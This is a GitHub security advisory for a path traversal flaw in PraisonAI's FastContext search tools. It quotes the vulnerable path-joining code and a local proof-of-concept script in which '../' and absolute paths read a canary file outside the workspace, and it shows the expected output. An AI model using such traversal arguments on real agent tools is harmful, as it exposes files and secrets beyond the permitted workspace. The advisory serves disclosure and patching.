GitHub Advisoryadvisory · PyPI

GHSA-4xxv-6wmf-xf45 PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace

MEDIUM Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-61432
Ecosystem
PyPI
Packages
praisonaiagents
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Weaknesses
CWE-200, CWE-22
Reviewed
2026-10-08

Affected packages

• PyPI praisonaiagents: < 1.6.78 → fixed in 1.6.78

Description

FastContext path resolution permits absolute and traversal reads outside the workspace Summary PraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context. Technical Details `FastContextAgent` documents `workspace_path` as the "Root directory for searches" and stores it as an absolute path: ```python class FastContextAgent: """Specialized agent for fast parallel code search. Attributes: workspace_path: Root directory for searches """ def __init__(self, workspace_path: str, ...): self.workspace_path = os.path.abspath(workspace_path) ``` The same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace. The problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment: ```python if tool_name in ("grep_search", "glob_search"): if "search_path" not in kwargs or kwargs["search_path"] == ".": kwargs["search_path"] = self.workspace_path elif not os.path.isabs(kwargs["search_path"]): kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"]) elif tool_name == "list_directory": if "dir_path" not in kwargs or kwargs["dir_path"] == ".": kwargs["dir_path"] = self.workspace_path elif not os.path.isabs(kwargs["dir_path"]): kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"]) elif tool_name == "read_file": if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]): kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"]) ``` As a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path. The downstream tools do not enforce a FastContext workspace boundary: ```python def grep_search(search_path: str, pattern: str, ...): search_path = os.path.abspath(search_path) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def read_file(filepath: str, ...): filepath = os.path.abspath(filepath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def list_directory(dir_path: str, ...): dir_path = os.path.abspath(dir_path) ... for entry in os.scandir(path): ... ``` The model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`: ```python response = model_client.chat.completions.create( model=self.model, messages=messages, tools=[{"type": "function", "function": t} for t in self.get_tools()], tool_choice="auto" ) ... args = json.loads(tool_call.function.arguments) batch.add(tool_call.function.name, **args) ... tool_results = self.coordinator.execute_turn_sync(batch) ``` That path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`. The public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as "relative to workspace", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check: ```python def read_context(self, filepath: str, ...): full_path = filepath if not os.path.isabs(filepath): full_path = os.path.join(self.workspace_path, filepath) result = read_file(full_path, ...) ``` This behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root. PoV The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions. ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fast_context_agent import FastContextAgent CANARY = "FAST_CONTEXT_CANARY=outside-workspace" with TemporaryDirectory() as tmp: root = Path(tmp) / "workspace" root.mkdir() (root / "inside.txt").write_text("INSIDE_ONLY=workspace\n") outside = Path(tmp) / "outside-secret.txt" outside.write_text(CANARY + "\n") agent = FastContextAgent(str(root)) assert len(agent.search_simple(CANARY).files) == 0 assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"] assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY)) assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt")) assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"]) fc = FastContext(workspace_path=str(root), cache_enabled=False) assert CANARY in fc.read_context("../outside-secret.txt") ``` PoC Save the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout: ```bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py ``` Expected vulnerable output: ```json { "results": { "absolute_read_discloses_canary": true, "glob_parent_reveals_outside_file": true, "grep_parent_discloses_canary": true, "high_level_read_context_discloses_canary": true, "inside_read_still_works": true, "list_parent_reveals_outside_file": true, "relative_traversal_read_discloses_canary": true, "simple_search_does_not_find_outside_canary": true }, "vulnerable": true } ``` The version sweep sampled the FastContext introduction boundary and current releases: ```text PraisonAI FastContext workspace-boundary version sweep current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0 latest_tag_context: v4.6.63-2-g1620b49f v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py {"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fa…

Related

Alias · CVE (1)

  • CVE-2026-61432 PraisonAI (praisonaiagents) before 1.6.78 contains a path traversal vulnerability in the FastContext feature (praisonaiagents.context.fast). vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References